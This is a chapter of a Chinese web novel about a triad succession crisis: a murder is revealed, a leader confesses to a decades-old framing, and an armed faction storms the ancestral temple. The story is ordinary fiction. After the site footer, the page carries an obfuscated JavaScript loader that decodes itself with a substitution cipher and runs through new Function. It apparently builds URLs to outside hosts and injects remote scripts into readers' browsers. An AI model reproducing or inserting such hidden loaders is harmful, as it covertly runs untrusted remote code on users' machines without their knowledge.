第695章 大乱
龙头大会定在午时。
辰时刚过,祖庙广场上已经站满了人。
比三天前多。
多得多了。
三天前是十二堂的人马,今天来的不止十二堂。有些海外分堂的人,连夜坐飞机赶回来的。有些已经退隐多年的老人,拄着拐杖,被人搀扶着上了山。
沈三刀的死讯,传得太快。
一夜之间,全洪门都知道了。
杀他的人,是广德堂的红棍,李阿宝。
一个二十四岁的年轻人,用一把旧刀和一片袖口藏着的铁片,杀了洪门三老之一的沈三刀。
这消息比炸弹还猛。
到处都在议论。
“听说了吗?沈三刀死了。”
“谁杀的?”
“广德堂那个红棍,叫阿宝的。”
“就亭爷推出来当龙头候选人的那个?”
“对。”
“他怎么杀的?”
“听说是在净业寺,两个人约好了单挑。沈三刀出了第三刀,没砍过他。”
“不可能。沈三刀的刀法,洪门前三。”
“前三也得死。人死了,就是死了。”
议论声像潮水,从广场涌到祖庙门口,又从祖庙门口涌回来。
我站在广场边上,听着这些话。
没什么感觉。
杀了就杀了。
该来的,总会来。
季然站在我旁边,脸色不太好。
他一夜没睡。
昨天从净业寺回来之后,他打了三十多个电话,安排了十几个据点的警戒,把广德堂在港城所有人手全调到了祖庙附近。
“阿宝哥,今天的大会,可能会出事。”
“我知道。”
“沈三刀的人,至少来了两百号。全散在广场周围。”
“嗯。”
“黄昌那边也不对劲。他昨晚跟三个堂主吃了饭,吃到凌晨三点。”
“嗯。”
“你就不能有点反应?”季然急了,“这可不是在广德堂后院练刀,这是龙头大会!全洪门的人都在!”
我看了他一眼。
“你想让我什么反应?”
“至少……紧张一点?”
“紧张有用吗?”
季然张了张嘴,把到嘴边的话咽了回去。
他知道没用。
紧张从来没用。
亭爷从庙里走出来,穿着三天前那身暗红色长衫,手里换了新念珠。
他看见我,走过来。
“睡了吗?”
“睡了。”
“几个小时?”
“两个。”
“够了。”他拍了拍我肩膀,“今天不管发生什么,跟三天前一样。我说站,你就站。我说坐,你就坐。”
“如果有人问我话呢?”
“今天会有人问你话。”亭爷看着我,目光很深,“但问的,不是三天前那些了。”
“什么意思?”
“你的身份,藏不住了。”
我看着他。
“谁说出去的?”
“没人说。”亭爷摇了摇头,“沈三刀死之前,跟他的人交代过。你是李长风的儿子。他的人把这话传了出去。”
“沈三刀为什么要传这个?”
“因为他想让你死。”亭爷的语气很平,“他活着的时候,没杀掉你。死了之后,让全洪门的人来杀你。”
“但你忘了一件事。”
“什么?”
“洪门里恨霍天行的人,比恨你的人多。”
亭爷说完这句话,转身走了。
走进了庙里。
我站在原地,想着他这句话。
恨霍天行的人。
比恨我的人多。
午时。
铜钟响了,九下。
洪门祖庙的铜钟,三百年只响过十二次。
每一次响,都是大事。
上一次响,是十二年前霍天行继位。
这一次,是他选接班人。
也可能是,他最后一次出现在祖庙。
广场上的人开始往庙里涌。
十二堂的人马,按堂口列队。旗帜在风里猎猎作响。
广德堂的旗在右侧。我站在旗帜下面,季然站在我身后。
庙门大开。
正殿里,十二把椅子一字排开。
亭爷坐在左边第一位。
黄昌坐在右边第一位。
中间那把太师椅,空的。
但椅背上那块红布还在,金色的“龙”字在烛光下闪。
所有人站定。
正殿里,三百多人,鸦雀无声。
等。
等龙头。
等了五分钟。
十分钟。
十五分钟。
有人开始不耐烦了。
“龙头怎么还没到?”
“是不是身体——”
话没说完,庙门外传来脚步声。
跟三天前一样。
整齐,沉重。
两排黑衣人从门口走进来,分列两侧。
然后,轮椅推进来了。
霍天行坐在轮椅上。
但跟三天前不一样。
三天前他穿的是睡衣。今天他穿了一身黑色的长衫,领口绣着金色的龙纹。
头发梳得一丝不苟。
脸上,甚至刮了胡子。
蜡黄的脸,显得精神了一些。
但他的手,在抖。
不是紧张,是身体撑不住了。
轮椅推到太师椅旁边。
他撑着扶手,站起来。
腿在抖。
但他站住了。
“坐。”
一个字。
三百多人,齐刷刷坐下。
我也坐下了。
霍天行坐到太师椅上,目光扫过全场。
“三天前,我在这里说了,今天做最后的决定。”
他的声音比三天前更哑,但每个字还是清清楚楚。
“但这三天里,发生了一些事。”
“沈三刀死了。”
正殿里,没有人说话。
但空气变了。
变得很紧。
像一根拉满的弓弦。
“杀他的人,就在这里。”
霍天行的目光,落到了我身上。
三百多双眼睛,跟着他的目光,刷地转过来。
我没有低头。
也没有动。
坐在那里,跟三天前一样的姿势,一样的表情。
“李阿宝。”霍天行念出我的名字,“广德堂红棍。亭爷推举的龙头候选人。”
他顿了一下。
“也是李长风的儿子。”
嗡——
正殿炸了。
三百多人,像一锅烧开了的水,瞬间沸腾。
“李长风?哪个李长风?”
“就是三十年前那个红棍!断潮刀法的!”
“他不是死了吗?他还有儿子?”
“那个阿宝是他儿子?”
“难怪亭爷推他当候选人——”
“等等,李长风是被霍爷——”
最后半句话没说完。
说的人自己也意识到不对,闭了嘴。
但所有人都听到了。
所有人的目光,从霍天行身上,移到了我身上,又从我身上,移回霍天行身上。
那个没说完的半句话,悬在空气里。
像一把刀。
正殿里安静了三秒。
然后,有人站起来了。
是一个我没想到的人。
程铁嘴。
洪门十二堂里,口才最好的堂主。负责洪门对外交涉,跟官方、跟其他帮派、跟商界打交道,全靠他一张嘴。
他站起来,整了整衣领,看向霍天行。
“龙头,我有话说。”
霍天行看着他。
“说。”
“李长风的事,三十年前我就觉得不对。”程铁嘴的声音不大,但正殿里每个人都听得清清楚楚,“当年那场审判,证据是搜出来的,不是查出来的。搜的人是亭爷,但下令搜的人是谁?”
他停了一下。
“是您,龙头。”
正殿里又安静了。
程铁嘴是洪门老人,六十多岁了,在位二十年,从来没在大会上公开质疑过霍天行。
今天是第一次。
“铁嘴,你什么意思?”黄昌站了起来,“当年的事,龙头已经定论了。你现在翻旧账?”
“我不是翻旧账。”程铁嘴看着黄昌,“我是在说事实。”
“什么事实?”
“李长风被栽赃的事实。”
黄昌的脸色变了。
“你有什么证据?”
“证据?”程铁嘴笑了一声,“黄昌,你以为三十年前的事,真的瞒得住所有人?”
“火门的事,你不知道?”
火门。
这两个字一出来,正殿里的气氛又变了一层。
有些年轻一辈的人不知道火门是什么,面面相觑。
但那些老人,脸全变了。
“火门?”有人低声说,“火门不是三十年前就灭了吗?”
“灭了?”程铁嘴摇头,“火门是灭了。但火门存在过。火门做过的事,不会因为火门灭了就消失。”
“李长风当年为什么被栽赃?因为他发现了火门的秘密。他杀了火门的执事,救了试药的人。火门要除掉他,霍天行顺水推舟。”
“这才是事实。”
“放屁!”黄昌拍了一下椅子扶手,“程铁嘴,你在龙头大会上胡说八道,是想造反吗?”
“我不是造反。”程铁嘴看着霍天行,“我是在问龙头。当年李长风的事,到底是不是您下的令。”
正殿里,三百多双眼睛,全盯在霍天行身上。
霍天行坐在太师椅上,没有动。
他的脸上,看不出任何表情。
但他的手,不再抖了。
像是在这一刻,所有的病痛都退了下去。
“程铁嘴。”
“在。”
“你问完了?”
“问完了。”
霍天行点了点头。
然后,他看向全场。
“火门的事,你们想知道?”
没人说话。
但很多人的眼神里,写着“想”。
“好。”霍天行说,“我告诉你们。”
“火门,是洪门两百年前设立的暗堂。负责什么?负责丹药,负责不死药,负责活人试药。”
“这些事,脏不脏?”
“脏。”
“但赚不赚钱?”
“赚。”
“洪门三百年基业,靠什么撑着的?靠义气?靠兄弟?”
“靠钱。”
“钱从哪来?火门。”
正殿里,有些老人的头低了下去。
因为他们知道,霍天行说的是事实。
洪门的基业,有一半是火门的脏钱堆出来的。
“三十年前,我当上龙头,第一件事就是清洗火门。三百多号人,全杀了。一个不留。”
“因为火门该亡。”
“但火门要亡,就得有人死。李长风就是那个人。”
“他发现了火门的秘密,火门的人要杀他。我借了火门的手,除掉了他。然后,再以清理门户的名义,灭了火门。”
“一石二鸟。”
霍天行说到这里,停了一下。
“李长风死了。火门灭了。洪门保住了。”
“这就是事实。”
正殿里,死一般的安静。
三百多人,没有一个说话。
连呼吸声都轻了。
我坐在椅子上,盯着霍天行。
他承认了。
在三百多人面前,他承认了。
承认他利用了火门,承认他除掉了父亲,承认这一切都是他的棋。
而且,他说这些话的时候,没有一丝愧疚。
没有一丝犹豫。
像在说一件再正常不过的事。
“好。”
一个声音打破了沉默。
是卫长河。
洪门十二堂里,武功最高的堂主。五十八岁,练了一辈子拳,手上的茧比铜板还厚。
他站起来,看着霍天行。
“龙头,您承认了?”
“承认了。”
“那您知不知道,李长风是洪门最好的刀客?”
“知道。”
“您知不知道,他杀火门执事,是为了救人?”
“知道。”
“您知不知道,他是被冤枉的?”
“知道。”
“那您还——”
“我还杀了他。”霍天行接过话,“因为不杀他,火门的事盖不住。火门的事盖不住,洪门就完了。”
“一个人的命,换洪门三百年的基业。值不值?”
“值。”
卫长河看着他,嘴唇抖了一下。
“龙头,您变了。”
“我没变。”霍天行摇头,“是位子变了。坐在这把椅子上,看的不是一个人,是所有人。”
“李长风是我的兄弟。但兄弟的命和三千人的命,我选三千人。”
“这就是龙头。”
正殿里,又安静了。
然后,第三个人站起来了。
叶桂亭。
洪门里最有钱的堂主。做生意是一把好手,洪门七成的合法产业都归他管。
他站起来,没有看霍天行,而是看着全场。
“各位,我说两句。”
“龙头说的对不对?对。洪门的基业要保,火门要灭,这些都没错。”
“但李长风的仇,要不要报?”
“也要报。”
“因为洪门的规矩是义气。兄弟的命,不是棋子。今天您能把李长风当棋子,明天就能把我们当棋子。”
“今天他死了没人说话,明天我们死了也没人说话。”
“这个头,不能开。”
他转向我。
“李阿宝,你爹的仇,我叶桂亭认。”
“你杀霍天行,我不拦。”
“但你杀完之后,洪门的事,得有人管。”
“你管得了吗?”
我看着他。
“管不了。”
“那谁管?”
“亭爷。”
叶桂亭看了亭爷一眼。
亭爷坐在椅子上,没有表情。
“亭爷,你什么意思?”叶桂亭问。
亭爷没有回答。
他在等。
等第四个人。
第四个人站起来了。
方世均。
洪门里最年轻的堂主,四十二岁。接手堂口才三年,但做事狠辣,手段过硬。
他站起来,说的话很短。
“我同意叶哥。”
“李长风的仇,该报。”
“霍天行该退了。”
四个人。
程铁嘴,卫长河,叶桂亭,方世均。
四个堂主,公开站到了我这边。
正殿里的气氛,彻底变了。
不再是霍天行一个人的大会。
而是一场审判。
对霍天行的审判。
黄昌站了起来。
“你们四个,想造反?”
“不是造反。”程铁嘴看着他,“是讲道理。”
“讲什么道理?龙头在位十二年,洪门上下太平,没有内乱,没有外患。你们现在翻三十年前的旧账,是想干什么?”
“想讲义气。”卫长河说,“黄昌,你忘了洪门的义气两个字怎么写了?”
“义气?”黄昌冷笑,“义气能当饭吃?”
“义气不能当饭吃。”叶桂亭开口,“但没有义气,饭也不好吃。”
“你——”
“够了。”
霍天行的声音不大,但黄昌立刻闭了嘴。
正殿里,所有人都看着他。
霍天行坐在太师椅上。
他没有怒。
也没有惧。
他的脸上,慢慢浮起一个笑。
那个笑很奇怪。
不是嘲讽,不是苦笑,不是任何一种我能定义的笑。
像释然。
像解脱。
像一个在位太久的人,终于等到了这一刻。
“好。”
他笑了。
然后,他开始笑得更大声。
“哈哈哈哈——”
笑声在正殿里回荡,撞在墙上,弹回来。
三百多人,没有一个说话。
都看着他笑。
笑了十秒。
笑声停了。
霍天行靠回椅背,看着我。
“阿宝。”
“在。”
“你知道我最佩服你爹什么?”
“什么?”
“他从来不找我报仇。”
我愣了一下。
“他不找我报仇,不是因为他不想。是因为他知道,报仇改变不了什么。杀了我,洪门会乱。乱了,死的人更多。”
“他用死,换了一个太平。”
“但你来了。”
“你来了,这个太平就到头了。”
他看着全场。
“变天了。”
两个字。
轻飘飘的。
但砸在每个人心上,重得像山。
变天了。
霍天行说变天了。
正殿里,有人开始骚动。
有人往后退,有人往前挤。
有人在低声打电话。
有人在摸腰间的刀。
局势,一触即发。
就在这时候,庙门外传来一声巨响。
不是门开的声音。
是门碎的声音。
“砰——”
两扇沉重的木门,被从外面撞开了。
木屑飞溅。
灰尘弥漫。
所有人都转过头,看向门口。
门口站着一个人。
不。
不是一个人。
是一排人。
黑衣。
黑面罩。
黑手套。
清一色的黑。
每个人的手里,都拿着一把刀。
不是洪门制式的短刀。
是长刀。
窄刃长刀,刀身微微弯曲,像月牙。
黑莲。
门口站着的那个人,比其他人高半个头。
他没有戴面罩。
脸露在外面。
是一张我从来没见过的脸。
四十多岁,瘦削,颧骨很高,眼窝深陷。
嘴角,有一道疤痕,从左脸一直延伸到下巴。
就是之前的那个黑莲首领。
他站在门口,看着正殿里的三百多人。
三十年的恨。
“诸位。”
他开口了。
“打扰了。”
“我来迟了。”
正殿里,三百多人,没有一个敢动。
因为门口站着的,不是一排人。
是五排。
每排十人。
五十个黑莲卫,堵在庙门口,刀出鞘,刃朝前。
而这只是门口。
广场上,还有更多。
透过碎裂的门框,我能看到广场上站满了黑衣人。
不是洪门的人。
是黑莲的人。
把整个祖庙,围了。
“你是谁?”黄昌站了起来,声音发颤。
那个瘦削的高个子,走进正殿。
他的脚步很轻,踩在石板上,几乎没有声音。
但每走一步,正殿里的人就往后退一步。
“黄昌,你不认识我?”
黄昌盯着他,脸上的血色一点点退去。
“你……你是……”
“三十年没见,忘了也正常。”高个子走到正殿中央,停下来,环顾四周,“我叫秦无药。”
“三十年前,我叫另一个名字。”
“二爷。”
二爷。
沈三刀临死前说的那个名字。
火门门主的儿子。
三十年前逃了,三十年后回来了。
回来了,带着黑莲。
带着五十把长刀。
带着把整个洪门祖庙围起来的兵力。
“二爷?”程铁嘴的声音也变了,“你不是死了吗?”
“死了?”秦无药笑了,“霍天行说我死了,我就得死?”
他转向霍天行。
霍天行坐在太师椅上,看着他。
两个人的目光,在正殿中央撞在一起。
“天行兄,三十年不见。”
秦无药拱了拱手。
姿态很客气。
但语气里,没有一丝尊重。
“我父亲,是被你杀的。”
“火门三百多号人,是被你灭的。”
“三十年了。”
“该还了。”
霍天行看着他。
没有说话。
但他的手,又开始抖了。
不是因为病。
是因为,他终于看到了一个他以为已经死了三十年的敌人。
活生生地,站在他面前。
秦无药转过身,看着全场。
“诸位,今天我来,不为别的。”
“只为两件事。”
“第一,霍天行的命。”
“第二——”
他的目光,落在了我身上。
停住了。
“李长风的儿子。”
他看着我,笑了。
那个笑,比刚才的更深。
更冷。
“第二件事,是你的命。”
正殿里,三百多人,没有一个敢动。
我坐在椅子上,看着秦无药。
他的眼睛里,有两样东西。
恨。
和杀意。
恨是给霍天行的。
杀意,是给我的。
我不明白。
我跟他无冤无仇。
为什么要我的命?
“你爹,”秦无药开口了,“杀了火门的执事。那个执事,是我叔叔。”
“你爹救的那几个试药的人里,有一个,是火门的叛徒。”
“你爹,是火门灭亡的导火索。”
“没有他,火门不会暴露。火门不暴露,我父亲不会死。”
“所以,你也得死。”
他举起手。
五十把长刀,齐刷刷举起。
刀刃在烛光下,闪着冷光。
“今天,谁都走不了。”
我站起来。
手按在腰间的刀柄上。
旧刀。
父亲的备刀。
另一只手,无意识地碰了碰袖口。
铁片还在。
一点二秒。
但这次,对面不是一个人。
是五十个人。
外加广场上,不知道还有多少。
我深吸一口气。
看了看亭爷。
他坐在椅子上,没有动。
但他的手,在拨念珠。
拨得很快。
快到念珠发出了嗡嗡的声响。
看了看季然。
他站在我身后,手已经按在腰间的枪上。
但他知道,枪没用。
五十把长刀冲进来,一把枪挡不住。
看了看霍天行。
他坐在太师椅上,看着我。
那个目光里,有一种很复杂的东西。
“变天了。”他又说了一遍。
但这次,他不是在说给我听。
他是在说给秦无药听。
秦无药笑了。
“对。变天了。”
“该变的天,迟早要变。”
“三十年前你变了别人的天。”
“今天,我来变你的。”
黑莲卫开始往里走。
一步。
两步。
刀光在正殿里晃。
三百多人,挤在正殿里,退无可退。
一秒记住【996小说网】
996xiaoshuo.com,更新快,无弹窗!
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();